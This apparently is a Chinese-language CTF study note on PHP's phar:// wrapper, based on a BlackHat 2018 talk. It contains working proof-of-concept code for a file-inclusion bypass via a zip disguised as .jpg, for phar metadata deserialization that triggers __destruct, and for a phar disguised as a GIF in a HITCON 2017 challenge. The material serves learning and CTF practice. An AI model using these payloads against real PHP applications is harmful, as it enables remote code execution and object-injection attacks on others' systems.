Php中phar协议的妙用

BlackHat USA 2018中有个有趣的议题New PHP Exploitation Technique Added关于phar协议，在这里学习一个，提高姿势

ctf中经常涉及到对php伪协议的运用，比如file://, php://等等，但是phar://却很少遇见，例如

1
2
3
4
5
6
<?php
    $file = $_GET['file'];
    if (isset($file) && strtolower(substr($file, -4)) == ".jpg") {
        include($file)
    }
?>

这里是要用到phar类打包一个phar标准包

1
2
3
<?php
$p = new PharData('./php.zip', 0,'php',Phar::ZIP) ; 
$p->addFromString('php.jpg', '<?php phpinfo(); ?>'); 

运行后会生产php.zip，然后构造http://target/file.php?file=phar://php.zip/php.jpg

然后phar协议还有反序列化

做个测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');

    class AnyClass {}
    $object = new AnyClass;
    $object->data = 'rips';
    $phar->setMetadata($object);
    $phar->stopBuffering();

1
2
3
4
5
6
7
class AnyClass {
	function __destruct() {
		echo $this->data;
	}
}

include('phar://test.phar');

成功被反序列化

ctf题中的例子是hitcon 2017的Baby^H Master PHP 2017

index.php

简化内容，我把题目稍微改动下

1
2
3
4
5
class Admin extends User { 
        function __destruct(){ 
            echo 'flag';
        } 
    } 

42行的file_get_contents会去加载文件，但是如果文件头不是GIF89a的话就退出，所以构造phar

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
	class Admin {
		public $avatar = 'orz';  
	} 
	$p = new Phar(__DIR__ . '/avatar.phar', 0);
	$p['file.php'] = '<?php ?>';
	$p->setMetadata(new Admin());
	$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
	rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>